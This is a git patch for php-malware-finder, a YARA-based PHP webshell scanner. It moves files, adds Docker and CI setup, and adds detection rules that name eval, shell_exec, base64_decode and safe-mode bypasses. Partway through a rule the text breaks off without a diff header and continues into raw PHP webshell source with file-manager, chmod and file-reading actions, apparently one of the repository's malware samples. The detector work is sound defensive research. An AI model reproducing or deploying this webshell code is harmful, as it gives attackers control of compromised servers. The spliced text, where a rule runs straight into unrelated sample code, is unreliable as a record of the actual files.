From 48936efa96ae17295be4e0a71be3294f0ec6aef8 Mon Sep 17 00:00:00 2001
From: Mathieu Deous
Date: Mon, 2 May 2022 20:18:23 +0200
Subject: Make application go-install-able and create a docker image
---
.dockerignore | 4 +
.github/workflows/docker.yml | 41 +
.github/workflows/release.yml | 40 +
.github/workflows/test.yml | 19 +-
.gitignore | 2 +-
Dockerfile | 37 +
Makefile | 53 +-
README.md | 29 +-
data/php.yar | 374 +
data/samples/artificial/bypasses.php | 7 +
data/samples/artificial/dodgy.php | 18 +
data/samples/artificial/obfuscated.php | 8 +
data/samples/classic/ajaxshell.php | 652 ++
data/samples/classic/angel.php | 2149 ++++++
data/samples/classic/b374k.php | 10 +
data/samples/classic/c100.php | 3154 ++++++++
data/samples/classic/c99.php | 3157 ++++++++
data/samples/classic/cyb3rsh3ll.php | 7923 ++++++++++++++++++++
data/samples/classic/r57.php | 2302 ++++++
data/samples/classic/simattacker.php | 756 ++
data/samples/classic/sosyete.php | 225 +
data/samples/cpanel.php | 20 +
data/samples/freepbx.php | 14 +
data/samples/obfuscators/cipher_design.php | 2 +
data/samples/obfuscators/online_php_obfuscator.php | 1 +
data/samples/obfuscators/phpencode.php | 1 +
data/samples/real/awvjtnz.php | 4 +
data/samples/real/exceptions.php | 1 +
data/samples/real/guidtz.php | 76 +
data/samples/real/ice.php | 1 +
data/samples/real/include.php | 4 +
data/samples/real/nano.php | 1 +
data/samples/real/ninja.php | 1 +
data/samples/real/novahot.php | 130 +
data/samples/real/srt.php | 5 +
data/samples/real/sucuri_2014_04.php | 3 +
data/samples/undetected/smart.php | 2 +
data/whitelist.yar | 129 +
data/whitelists/custom.yar | 13 +
data/whitelists/drupal.yar | 660 ++
data/whitelists/magento1ce.yar | 504 ++
data/whitelists/magento2.yar | 563 ++
data/whitelists/phpmyadmin.yar | 93 +
data/whitelists/prestashop.yar | 468 ++
data/whitelists/symfony.yar | 60 +
data/whitelists/wordpress.yar | 1046 +++
go.mod | 6 +-
go.sum | 8 +-
main.go | 466 ++
php-malware-finder/php.yar | 374 -
php-malware-finder/phpmalwarefinder.go | 408 -
php-malware-finder/samples/artificial/bypasses.php | 7 -
php-malware-finder/samples/artificial/dodgy.php | 18 -
.../samples/artificial/obfuscated.php | 8 -
php-malware-finder/samples/classic/ajaxshell.php | 652 --
php-malware-finder/samples/classic/angel.php | 2149 ------
php-malware-finder/samples/classic/b374k.php | 10 -
php-malware-finder/samples/classic/c100.php | 3154 --------
php-malware-finder/samples/classic/c99.php | 3157 --------
php-malware-finder/samples/classic/cyb3rsh3ll.php | 7923 --------------------
php-malware-finder/samples/classic/r57.php | 2302 ------
php-malware-finder/samples/classic/simattacker.php | 756 --
php-malware-finder/samples/classic/sosyete.php | 225 -
php-malware-finder/samples/cpanel.php | 20 -
php-malware-finder/samples/freepbx.php | 14 -
.../samples/obfuscators/cipher_design.php | 2 -
.../samples/obfuscators/online_php_obfuscator.php | 1 -
.../samples/obfuscators/phpencode.php | 1 -
php-malware-finder/samples/real/awvjtnz.php | 4 -
php-malware-finder/samples/real/exceptions.php | 1 -
php-malware-finder/samples/real/guidtz.php | 76 -
php-malware-finder/samples/real/ice.php | 1 -
php-malware-finder/samples/real/include.php | 4 -
php-malware-finder/samples/real/nano.php | 1 -
php-malware-finder/samples/real/ninja.php | 1 -
php-malware-finder/samples/real/novahot.php | 130 -
php-malware-finder/samples/real/srt.php | 5 -
php-malware-finder/samples/real/sucuri_2014_04.php | 3 -
php-malware-finder/samples/undetected/smart.php | 2 -
php-malware-finder/tests.sh | 96 -
php-malware-finder/utils/generate_whitelist.py | 46 -
php-malware-finder/utils/magento1_whitelist.sh | 56 -
php-malware-finder/utils/magento2_whitelist.sh | 83 -
php-malware-finder/utils/mass_whitelist.py | 208 -
php-malware-finder/whitelist.yar | 129 -
php-malware-finder/whitelists/custom.yar | 13 -
php-malware-finder/whitelists/drupal.yar | 660 --
php-malware-finder/whitelists/magento1ce.yar | 504 --
php-malware-finder/whitelists/magento2.yar | 563 --
php-malware-finder/whitelists/phpmyadmin.yar | 93 -
php-malware-finder/whitelists/prestashop.yar | 468 --
php-malware-finder/whitelists/symfony.yar | 60 -
php-malware-finder/whitelists/wordpress.yar | 1046 ---
tests.sh | 96 +
utils/generate_whitelist.py | 46 +
utils/magento1_whitelist.sh | 56 +
utils/magento2_whitelist.sh | 83 +
utils/mass_whitelist.py | 208 +
98 files changed, 25703 insertions(+), 25462 deletions(-)
create mode 100644 .dockerignore
create mode 100644 .github/workflows/docker.yml
create mode 100644 .github/workflows/release.yml
create mode 100644 Dockerfile
create mode 100644 data/php.yar
create mode 100644 data/samples/artificial/bypasses.php
create mode 100644 data/samples/artificial/dodgy.php
create mode 100644 data/samples/artificial/obfuscated.php
create mode 100644 data/samples/classic/ajaxshell.php
create mode 100644 data/samples/classic/angel.php
create mode 100644 data/samples/classic/b374k.php
create mode 100644 data/samples/classic/c100.php
create mode 100644 data/samples/classic/c99.php
create mode 100644 data/samples/classic/cyb3rsh3ll.php
create mode 100644 data/samples/classic/r57.php
create mode 100644 data/samples/classic/simattacker.php
create mode 100644 data/samples/classic/sosyete.php
create mode 100644 data/samples/cpanel.php
create mode 100644 data/samples/freepbx.php
create mode 100644 data/samples/obfuscators/cipher_design.php
create mode 100644 data/samples/obfuscators/online_php_obfuscator.php
create mode 100644 data/samples/obfuscators/phpencode.php
create mode 100644 data/samples/real/awvjtnz.php
create mode 100644 data/samples/real/exceptions.php
create mode 100644 data/samples/real/guidtz.php
create mode 100644 data/samples/real/ice.php
create mode 100644 data/samples/real/include.php
create mode 100644 data/samples/real/nano.php
create mode 100644 data/samples/real/ninja.php
create mode 100644 data/samples/real/novahot.php
create mode 100644 data/samples/real/srt.php
create mode 100644 data/samples/real/sucuri_2014_04.php
create mode 100644 data/samples/undetected/smart.php
create mode 100644 data/whitelist.yar
create mode 100644 data/whitelists/custom.yar
create mode 100644 data/whitelists/drupal.yar
create mode 100644 data/whitelists/magento1ce.yar
create mode 100644 data/whitelists/magento2.yar
create mode 100644 data/whitelists/phpmyadmin.yar
create mode 100644 data/whitelists/prestashop.yar
create mode 100644 data/whitelists/symfony.yar
create mode 100644 data/whitelists/wordpress.yar
create mode 100644 main.go
delete mode 100644 php-malware-finder/php.yar
delete mode 100644 php-malware-finder/phpmalwarefinder.go
delete mode 100644 php-malware-finder/samples/artificial/bypasses.php
delete mode 100644 php-malware-finder/samples/artificial/dodgy.php
delete mode 100644 php-malware-finder/samples/artificial/obfuscated.php
delete mode 100644 php-malware-finder/samples/classic/ajaxshell.php
delete mode 100644 php-malware-finder/samples/classic/angel.php
delete mode 100644 php-malware-finder/samples/classic/b374k.php
delete mode 100644 php-malware-finder/samples/classic/c100.php
delete mode 100644 php-malware-finder/samples/classic/c99.php
delete mode 100644 php-malware-finder/samples/classic/cyb3rsh3ll.php
delete mode 100644 php-malware-finder/samples/classic/r57.php
delete mode 100644 php-malware-finder/samples/classic/simattacker.php
delete mode 100644 php-malware-finder/samples/classic/sosyete.php
delete mode 100644 php-malware-finder/samples/cpanel.php
delete mode 100644 php-malware-finder/samples/freepbx.php
delete mode 100644 php-malware-finder/samples/obfuscators/cipher_design.php
delete mode 100644 php-malware-finder/samples/obfuscators/online_php_obfuscator.php
delete mode 100644 php-malware-finder/samples/obfuscators/phpencode.php
delete mode 100644 php-malware-finder/samples/real/awvjtnz.php
delete mode 100644 php-malware-finder/samples/real/exceptions.php
delete mode 100644 php-malware-finder/samples/real/guidtz.php
delete mode 100644 php-malware-finder/samples/real/ice.php
delete mode 100644 php-malware-finder/samples/real/include.php
delete mode 100644 php-malware-finder/samples/real/nano.php
delete mode 100644 php-malware-finder/samples/real/ninja.php
delete mode 100644 php-malware-finder/samples/real/novahot.php
delete mode 100644 php-malware-finder/samples/real/srt.php
delete mode 100644 php-malware-finder/samples/real/sucuri_2014_04.php
delete mode 100644 php-malware-finder/samples/undetected/smart.php
delete mode 100755 php-malware-finder/tests.sh
delete mode 100755 php-malware-finder/utils/generate_whitelist.py
delete mode 100755 php-malware-finder/utils/magento1_whitelist.sh
delete mode 100755 php-malware-finder/utils/magento2_whitelist.sh
delete mode 100755 php-malware-finder/utils/mass_whitelist.py
delete mode 100644 php-malware-finder/whitelist.yar
delete mode 100644 php-malware-finder/whitelists/custom.yar
delete mode 100644 php-malware-finder/whitelists/drupal.yar
delete mode 100644 php-malware-finder/whitelists/magento1ce.yar
delete mode 100644 php-malware-finder/whitelists/magento2.yar
delete mode 100644 php-malware-finder/whitelists/phpmyadmin.yar
delete mode 100644 php-malware-finder/whitelists/prestashop.yar
delete mode 100644 php-malware-finder/whitelists/symfony.yar
delete mode 100644 php-malware-finder/whitelists/wordpress.yar
create mode 100755 tests.sh
create mode 100755 utils/generate_whitelist.py
create mode 100755 utils/magento1_whitelist.sh
create mode 100755 utils/magento2_whitelist.sh
create mode 100755 utils/mass_whitelist.py
diff --git a/.dockerignore b/.dockerignore
new file mode 100644
index 0000000..c454426
--- /dev/null
+++ b/.dockerignore
@@ -0,0 +1,4 @@
+.idea/
+.github/
+utils/
+php-malware-finder
diff --git a/.github/workflows/docker.yml b/.github/workflows/docker.yml
new file mode 100644
index 0000000..b44e0b7
--- /dev/null
+++ b/.github/workflows/docker.yml
@@ -0,0 +1,41 @@
+name: Docker
+
+on:
+ push:
+ branches:
+ - master
+ tags:
+ - '*'
+ pull_request:
+ branches:
+ - master
+
+jobs:
+
+ docker-image:
+ name: Build Image
+ runs-on: ubuntu-latest
+
+ steps:
+ - name: Checkout code
+ uses: actions/checkout@v3
+
+ - name: Setup docker
+ uses: docker/setup-buildx-action@v1
+
+ - name: Log into container registry
+ uses: docker/login-action@v1
+ with:
+ registry: ghcr.io
+ username: ${{ github.repository_owner }}
+ password: ${{ secrets.GITHUB_TOKEN }}
+
+ - name: Build image
+ run: make docker
+
+ - name: Test image
+ run: make docker-tests
+
+ - name: Publish image
+ if: github.event_name != 'pull_request'
+ run: make docker-publish
diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml
new file mode 100644
index 0000000..6b1647a
--- /dev/null
+++ b/.github/workflows/release.yml
@@ -0,0 +1,40 @@
+name: Release
+
+on:
+ push:
+ tags:
+ - '*'
+
+jobs:
+
+ release:
+ name: Release
+ runs-on: ubuntu-latest
+
+ steps:
+ - uses: actions/checkout@v3
+
+ - name: Set up Go
+ uses: actions/setup-go@v3
+ with:
+ go-version: '^1.18'
+
+ # apt repos don't have YARA v4.2, install it from git
+ - name: Install YARA
+ run: |
+ git clone --depth 1 https://github.com/virustotal/yara.git
+ cd yara
+ bash ./build.sh
+ sudo make install
+ cd ..
+
+ - name: Build
+ run: make
+
+ - name: Create release
+ uses: ncipollo/release-action@v1
+ with:
+ artifacts: "php-malware-finder"
+ token: ${{ secrets.GITHUB_TOKEN }}
+ allowUpdates: true
+ omitBody: true
diff --git a/.github/workflows/test.yml b/.github/workflows/test.yml
index f29e422..a3cbc35 100644
--- a/.github/workflows/test.yml
+++ b/.github/workflows/test.yml
@@ -9,17 +9,25 @@ on:
- master
jobs:
+
test:
name: Test
runs-on: ubuntu-latest
+ strategy:
+ matrix:
+ go_version:
+ - '~1.16'
+ - '~1.17'
+ - '^1.18'
+
steps:
- name: Checkout code
- uses: actions/checkout@v2
+ uses: actions/checkout@v3
- name: Setup Go
- uses: actions/setup-go@v2
+ uses: actions/setup-go@v3
with:
- go-version: '^1.17'
+ go-version: ${{ matrix.go_version }}
# apt repos don't have YARA v4.2, install it from git
- name: Install YARA
@@ -32,4 +40,7 @@ jobs:
- name: Run tests
run: |
- LD_LIBRARY_PATH=/usr/local/lib make tests
+ make
+ make tests
+ env:
+ LD_LIBRARY_PATH: /usr/local/lib
diff --git a/.gitignore b/.gitignore
index 639d072..de3cb87 100644
--- a/.gitignore
+++ b/.gitignore
@@ -1,2 +1,2 @@
-php-malware-finder/phpmalwarefinder
+php-malware-finder
.idea
diff --git a/Dockerfile b/Dockerfile
new file mode 100644
index 0000000..e13b19d
--- /dev/null
+++ b/Dockerfile
@@ -0,0 +1,37 @@
+FROM golang:alpine as build
+WORKDIR /app
+
+# install build dependencies
+RUN apk add --no-cache \
+ build-base \
+ automake \
+ autoconf \
+ pkgconfig \
+ libtool \
+ bison \
+ libressl-dev \
+ git
+
+# install YARA
+RUN git clone --depth 1 https://github.com/virustotal/yara.git \
+ && cd yara \
+ && sh ./build.sh \
+ && make install \
+ && cd ..
+
+# copy and build PMF
+COPY . .
+RUN make
+
+FROM golang:alpine
+LABEL org.opencontainers.image.source="https://github.com/jvoisin/php-malware-finder"
+WORKDIR /app
+
+# install dependencies
+RUN apk add --no-cache libressl
+
+# copy files from build container
+COPY --from=build /usr/local/lib /usr/lib
+COPY --from=build /app/php-malware-finder /app
+
+ENTRYPOINT ["/app/php-malware-finder", "-v", "-a", "-c", "/data"]
diff --git a/Makefile b/Makefile
index 931f4e7..8cdf2fd 100644
--- a/Makefile
+++ b/Makefile
@@ -1,15 +1,48 @@
-.PHONY: clean deps tests
+.PHONY: clean rebuild update-deps tests help docker docker-tests docker-publish
-all: php-malware-finder/phpmalwarefinder
+NAME := php-malware-finder
+TAG_COMMIT := $(shell git rev-list --abbrev-commit --all --max-count=1)
+VERSION := $(shell git describe --abbrev=0 --tags --exact-match $(TAG_COMMIT) 2>/dev/null || true)
+IMAGE_VERSION := $(VERSION)
+DATE := $(shell git log -1 --format=%cd --date=format:"%Y%m%d%H%M")
+ifeq ($(VERSION),)
+ VERSION := $(DATE)
+ IMAGE_VERSION := latest
+endif
+LDFLAGS := "-X main.version=$(VERSION)"
+GO_FLAGS := -o $(NAME) -ldflags $(LDFLAGS)
+IMAGE_REGISTRY := ghcr.io
+IMAGE_REGISTRY_USER := jvoisin
+IMAGE_NAME := $(IMAGE_REGISTRY)/$(IMAGE_REGISTRY_USER)/$(NAME)
-php-malware-finder/phpmalwarefinder:
- go build -o php-malware-finder/phpmalwarefinder php-malware-finder/phpmalwarefinder.go
+all: php-malware-finder
-clean:
- rm -f php-malware-finder/phpmalwarefinder
+php-malware-finder: ## Build application
+ @go build $(GO_FLAGS) .
-deps:
- go mod tidy -v
+clean: ## Delete build artifacts
+ @rm -f $(NAME)
-tests: php-malware-finder/phpmalwarefinder
- @cd ./php-malware-finder && bash ./tests.sh
+rebuild: clean all ## Delete build artifacts and rebuild
+
+update-deps: ## Update dependencies
+ @go get -u .
+ @go mod tidy -v
+
+tests: php-malware-finder ## Run test suite
+ @bash ./tests.sh
+
+docker: ## Build docker image
+ docker pull $(IMAGE_NAME):latest || true
+ docker build --pull -t $(IMAGE_NAME):latest .
+ docker tag $(IMAGE_NAME):latest $(IMAGE_NAME):$(IMAGE_VERSION)
+
+docker-tests: ## Run docker image against the samples folder
+ @docker run --rm -v $(shell pwd)/data/samples:/data $(IMAGE_NAME):latest
+
+docker-publish: ## Push docker image to the container registry
+ @docker push $(IMAGE_NAME):latest
+ @(test "$(IMAGE_VERSION)" != "latest" && docker push $(IMAGE_NAME):$(IMAGE_VERSION)) || true
+
+help: ## Show this help
+ @grep -E '^[a-zA-Z_-]+:.*?## .*$$' $(MAKEFILE_LIST) | sort | awk 'BEGIN {FS = ":.*?## "}; {printf "\033[36m%-20s\033[0m %s\n", $$1, $$2}'
diff --git a/README.md b/README.md
index 6ae0b07..2ee0606 100644
--- a/README.md
+++ b/README.md
@@ -60,22 +60,28 @@ PMF tries as much as possible to use semantic patterns, to detect things like
and then passed to some dangerous function like `system`".
## Installation
+
+### From source
+
- Install Go (using your package manager, or [manually](https://go.dev/doc/install))
- Install libyara >= 4.2 (using your package manager, or [from source](https://yara.readthedocs.io/en/stable/gettingstarted.html))
- Download php-malware-finder: `git clone https://github.com/jvoisin/php-malware-finder.git`
- Build php-malware-finder: `cd php-malware-finder && make`
+or replace the last 2 steps with `go install github.com/jvoisin/php-malware-finder`,
+which will directly compile and install PMF in your `${GOROOT}/bin` folder.
+
## How to use it?
```
-$ ./phpmalwarefinder -h
+$ ./php-malware-finder -h
Usage:
- phpmalwarefinder [OPTIONS] [Target]
+ php-malware-finder [OPTIONS] [Target]
Application Options:
- -r, --rules-dir= Rules location (default: /etc/phpmalwarefinder or .)
+ -r, --rules-dir= Alternative rules location (default: embedded rules)
-a, --show-all Display all matched rules
- -f, --fast Enable YARA's fast mode'
+ -f, --fast Enable YARA's fast mode
-R, --rate-limit= Max. filesystem ops per second, 0 for no limit (default: 0)
-v, --verbose Verbose mode
-w, --workers= Number of workers to spawn for scanning (default: 32)
@@ -84,6 +90,7 @@ Application Options:
-i, --exclude-imgs Do not scan image files
-x, --exclude-ext= Additional file extensions to exclude
-u, --update Update rules
+ -V, --version Show version number and exit
Help Options:
-h, --help Show this help message
@@ -92,7 +99,7 @@ Help Options:
Or if you prefer to use `yara`:
```
-$ yara -r ./php.yar /var/www
+$ yara -r ./data/php.yar /var/www
```
Please keep in mind that you should use at least YARA 3.4 because we're using
@@ -103,6 +110,16 @@ have support for hashes.
Oh, and by the way, you can run the *comprehensive* testsuite with `make tests`.
+### Docker
+
+If you want to avoid having to install Go and libyara, you can also use our
+docker image and simply mount the folder you want to scan to the container's
+`/data` directory:
+
+```
+$ docker run --rm -v /folder/to/scan:/data ghcr.io/jvoisin/php-malware-finder
+```
+
## Whitelisting
Check the [whitelist.yar](https://github.com/jvoisin/php-malware-finder/blob/master/php-malware-finder/whitelist.yar) file.
@@ -115,7 +132,7 @@ Because:
- It doesn't use [a single rule per sample](
https://github.com/Neo23x0/signature-base/blob/e264d66a8ea3be93db8482ab3d639a2ed3e9c949/yara/thor-webshells.yar
), since it only cares about finding malicious patterns, not specific webshells
-- It has a [complete testsuite](https://travis-ci.org/jvoisin/php-malware-finder), to avoid regressions
+- It has a [complete testsuite](https://github.com/jvoisin/php-malware-finder/actions), to avoid regressions
- Its whitelist system doesn't rely on filenames
- It doesn't rely on (slow) [entropy computation]( https://en.wikipedia.org/wiki/Entropy_(information_theory) )
- It uses a ghetto-style static analysis, instead of relying on file hashes
diff --git a/data/php.yar b/data/php.yar
new file mode 100644
index 0000000..4470e1b
--- /dev/null
+++ b/data/php.yar
@@ -0,0 +1,374 @@
+import "hash"
+include "whitelist.yar"
+
+/*
+ Detect:
+ - phpencode.org
+ - http://www.pipsomania.com/best_php_obfuscator.do
+ - http://atomiku.com/online-php-code-obfuscator/
+ - http://www.webtoolsvn.com/en-decode/
+ - http://obfuscator.uk/example/
+ - http://w3webtools.com/encode-php-online/
+ - http://www.joeswebtools.com/security/php-obfuscator/
+ - https://github.com/epinna/weevely3
+ - http://cipherdesign.co.uk/service/php-obfuscator
+ - http://sysadmin.cyklodev.com/online-php-obfuscator/
+ - http://mohssen.org/SpinObf.php
+ - https://code.google.com/p/carbylamine/
+ - https://github.com/tennc/webshell
+
+ - https://github.com/wireghoul/htshells
+
+ Thanks to:
+ - https://stackoverflow.com/questions/3115559/exploitable-php-functions
+*/
+
+global private rule IsPhp
+{
+ strings:
+ $php = /<\?[^x]/
+
+ condition:
+ $php and filesize < 5MB
+}
+
+rule NonPrintableChars
+{
+ strings:
+ /*
+ Searching only for non-printable characters completely kills the perf,
+ so we have to use atoms (https://gist.github.com/Neo23x0/e3d4e316d7441d9143c7)
+ to get an acceptable speed.
+ */
+ $non_printables = /(function|return|base64_decode).{,256}[^\x09-\x0d\x20-\x7E]{3}/
+
+ condition:
+ (any of them) and not IsWhitelisted
+}
+
+
+rule PasswordProtection
+{
+ strings:
+ $md5 = /md5\s*\(\s*\$_(GET|REQUEST|POST|COOKIE|SERVER)[^)]+\)\s*===?\s*['"][0-9a-f]{32}['"]/ nocase
+ $sha1 = /sha1\s*\(\s*\$_(GET|REQUEST|POST|COOKIE|SERVER)[^)]+\)\s*===?\s*['"][0-9a-f]{40}['"]/ nocase
+ condition:
+ (any of them) and not IsWhitelisted
+}
+
+rule ObfuscatedPhp
+{
+ strings:
+ $eval = /(<\?php|[;{}])[ \t]*@?(eval|preg_replace|system|assert|passthru|(pcntl_)?exec|shell_exec|call_user_func(_array)?)\s*\(/ nocase // ;eval( <- this is dodgy
+ $eval_comment = /(eval|preg_replace|system|assert|passthru|(pcntl_)?exec|shell_exec|call_user_func(_array)?)\/\*[^\*]*\*\/\(/ nocase // eval/*lol*/( <- this is dodgy
+ $b374k = "'ev'.'al'"
+ $align = /(\$\w+=[^;]*)*;\$\w+=@?\$\w+\(/ //b374k
+ $weevely3 = /\$\w=\$[a-zA-Z]\('',\$\w\);\$\w\(\);/ // weevely3 launcher
+ $c99_launcher = /;\$\w+\(\$\w+(,\s?\$\w+)+\);/ // http://bartblaze.blogspot.fr/2015/03/c99shell-not-dead.html
+ $nano = /\$[a-z0-9-_]+\[[^]]+\]\(/ //https://github.com/UltimateHackers/nano
+ $ninja = /base64_decode[^;]+getallheaders/ //https://github.com/UltimateHackers/nano
+ $variable_variable = /\${\$[0-9a-zA-z]+}/
+ $too_many_chr = /(chr\([\d]+\)\.){8}/ // concatenation of more than eight `chr()`
+ $concat = /(\$[^\n\r]+\.){5}/ // concatenation of more than 5 words
+ $concat_with_spaces = /(\$[^\n\r]+\. ){5}/ // concatenation of more than 5 words, with spaces
+ $var_as_func = /\$_(GET|POST|COOKIE|REQUEST|SERVER)\s*\[[^\]]+\]\s*\(/
+ $comment = /\/\*([^*]|\*[^\/])*\*\/\s*\(/ // eval /* comment */ (php_code)
+condition:
+ (any of them) and not IsWhitelisted
+}
+
+rule DodgyPhp
+{
+ strings:
+ $basedir_bypass = /curl_init\s*\(\s*["']file:\/\// nocase
+ $basedir_bypass2 = "file:file:///" // https://www.intelligentexploit.com/view-details.html?id=8719
+ $disable_magic_quotes = /set_magic_quotes_runtime\s*\(\s*0/ nocase
+
+ $execution = /\b(popen|eval|assert|passthru|exec|include|system|pcntl_exec|shell_exec|base64_decode|`|array_map|ob_start|call_user_func(_array)?)\s*\(\s*(base64_decode|php:\/\/input|str_rot13|gz(inflate|uncompress)|getenv|pack|\\?\$_(GET|REQUEST|POST|COOKIE|SERVER))/ nocase // function that takes a callback as 1st parameter
+ $execution2 = /\b(array_filter|array_reduce|array_walk(_recursive)?|array_walk|assert_options|uasort|uksort|usort|preg_replace_callback|iterator_apply)\s*\(\s*[^,]+,\s*(base64_decode|php:\/\/input|str_rot13|gz(inflate|uncompress)|getenv|pack|\\?\$_(GET|REQUEST|POST|COOKIE|SERVER))/ nocase // functions that takes a callback as 2nd parameter
+ $execution3 = /\b(array_(diff|intersect)_u(key|assoc)|array_udiff)\s*\(\s*([^,]+\s*,?)+\s*(base64_decode|php:\/\/input|str_rot13|gz(inflate|uncompress)|getenv|pack|\\?\$_(GET|REQUEST|POST|COOKIE|SERVER))\s*\[[^]]+\]\s*\)+\s*;/ nocase // functions that takes a callback as 2nd parameter
+
+ $htaccess = "SetHandler application/x-httpd-php"
+ $iis_com = /IIS:\/\/localhost\/w3svc/
+ $include = /include\s*\(\s*[^\.]+\.(png|jpg|gif|bmp)/ // Clever includes
+ $ini_get = /ini_(get|set|restore)\s*\(\s*['"](safe_mode|open_basedir|disable_(function|classe)s|safe_mode_exec_dir|safe_mode_include_dir|register_globals|allow_url_include)/ nocase
+ $pr = /(preg_replace(_callback)?|mb_ereg_replace|preg_filter)\s*\([^)]*(\/|\\x2f)(e|\\x65)['"]/ nocase // http://php.net/manual/en/function.preg-replace.php
+ $register_function = /register_[a-z]+_function\s*\(\s*['"]\s*(eval|assert|passthru|exec|include|system|shell_exec|`)/ // https://github.com/nbs-system/php-malware-finder/issues/41
+ $safemode_bypass = /\x00\/\.\.\/|LD_PRELOAD/
+ $shellshock = /\(\)\s*{\s*[a-z:]\s*;\s*}\s*;/
+ $udp_dos = /fsockopen\s*\(\s*['"]udp:\/\// nocase
+ $various = "
+
:: PHP Safe Mode Bypass ::
+ :: Make File/Directory ::
+ :: Go File/Directory ::
+
+
+
+
+ (: List Directories :)
+
+
+
+ [: Make Directory :]
+
+
+ {: Go Directory :}
+
+
+
+
+
+ (: Read Files :)
+
+
+
+
+
+ [: Make File :]
+
+
+ {: Go File :}
+
+
+
+
+ ";}
+
+ }
+
+ if (!empty($delerr)) {echo "Deleting with errors: ".$delerr;}
+
+ $act = "ls";
+
+}
+
+if ($act == "chmod")
+
+{
+
+ $mode = fileperms($d.$f);
+
+ if (!$mode) {echo "Change file-mode with error: can't get current value.";}
+
+ else
+
+ {
+
+ $form = TRUE;
+
+ if ($chmod_submit)
+
+ {
+
+ $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8);
+
+ if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";}
+
+ else {$err = "Can't chmod to ".$octet.".";}
+
+ }
+
+ if ($form)
+
+ {
+
+ $perms = parse_perms($mode);
+
+ echo "Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).") ".($err?"Error: ".$err:"")."";
+
+ }
+
+ }
+
+}
+
+if ($act == "search")
+
+{
+
+ echo "Search in file-system: ";
+
+ if (empty($search_in)) {$search_in = $d;}
+
+ if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;}
+
+ if (empty($search_text_wwo)) {$search_text_regexp = 0;}
+
+ if (!empty($submit))
+
+ {
+
+ $found = array();
+
+ $found_d = 0;
+
+ $found_f = 0;
+
+ $search_i_f = 0;
+
+ $search_i_d = 0;
+
+ $a = array
+
+ (
+
+ "name"=>$search_name, "name_regexp"=>$search_name_regexp,
+
+ "text"=>$search_text, "text_regexp"=>$search_text_regxp,
+
+ "text_wwo"=>$search_text_wwo,
+
+ "text_cs"=>$search_text_cs,
+
+ "text_not"=>$search_text_not
+
+ );
+
+ $searchtime = getmicrotime();
+
+ $in = array_unique(explode(";",$search_in));
+
+ foreach($in as $v) {cyb3rfsearch($v);}
+
+ $searchtime = round(getmicrotime()-$searchtime,4);
+
+ if (count($found) == 0) {echo "No files found! ";}
+
+ else
+
+ {
+
+ $ls_arr = $found;
+
+ $disp_fullpath = TRUE;
+
+ $act = "ls";
+
+ }
+
+ }
+
+ echo "";
+
+ if ($act == "ls") {$dspact = $act; echo "Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second). ";}
+
+}
+
+if ($act == "fsbuff")
+
+{
+
+ $arr_copy = $sess_data["copy"];
+
+ $arr_cut = $sess_data["cut"];
+
+ $arr = array_merge($arr_copy,$arr_cut);
+
+ if (count($arr) == 0) {echo "Buffer is empty! ";}
+
+ else {echo "File-System buffer "; $ls_arr = $arr; $disp_fullpath = TRUE; $act = "ls";}
+
+}
+
+if ($act == "d")
+
+{
+
+ if (!is_dir($d)) {echo "Permision denied! ";}
+
+ else
+
+ {
+
+ echo "Directory information: ";
+
+ if (!$win)
+
+ {
+
+ echo "Owner/Group ";
+
+ $ow = posix_getpwuid(fileowner($d));
+
+ $gr = posix_getgrgid(filegroup($d));
+
+ $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d));
+
+ }
+
+ echo " Perms ".view_perms_color($d)." Create time ".date("d/m/Y H:i:s",filectime($d))." Access time ".date("d/m/Y H:i:s",fileatime($d))." MODIFY time ".date("d/m/Y H:i:s",filemtime($d))."
";
+
+ }
+
+}
+
+if ($act == "chmod")
+
+{
+
+ $mode = fileperms($d.$f);
+
+ if (!$mode) {echo "Change file-mode with error: can't get current value.";}
+
+ else
+
+ {
+
+ $form = TRUE;
+
+ if ($chmod_submit)
+
+ {
+
+ $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8);
+
+ if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";}
+
+ else {$err = "Can't chmod to ".$octet.".";}
+
+ }
+
+ if ($form)
+
+ {
+
+ $perms = parse_perms($mode);
+
+ echo "Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).") ".($err?"Error: ".$err:"")." ";
+
+ }
+
+ }
+
+}
+
+if ($act == "f")
+
+{
+
+ if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit")
+
+ {
+
+ if (file_exists($d.$f)) {echo "Permision denied (".htmlspecialchars($d.$f).")! ";}
+
+ else {echo "File does not exists (".htmlspecialchars($d.$f).")! Create ";}
+
+ }
+
+ else
+
+ {
+
+ $r = @file_get_contents($d.$f);
+
+ $ext = explode(".",$f);
+
+ $c = count($ext)-1;
+
+ $ext = $ext[$c];
+
+ $ext = strtolower($ext);
+
+ $rft = "";
+
+ foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}}
+
+ if (eregi("sess_(.*)",$f)) {$rft = "phpsess";}
+
+ if (empty($ft)) {$ft = $rft;}
+
+ $arr = array(
+
+ array(" ","info"),
+
+ array(" ","html"),
+
+ array(" ","txt"),
+
+ array("Code","code"),
+
+ array("Session","phpsess"),
+
+ array(" ","exe"),
+
+ array("SDB","sdb"),
+
+ array(" ","img"),
+
+ array(" ","ini"),
+
+ array(" ","download"),
+
+ array(" ","notepad"),
+
+ array(" ","edit")
+
+ );
+
+ echo "Viewing file: ".$f." (".view_size(filesize($d.$f)).") ".view_perms_color($d.$f)." Select action/file-type: ";
+
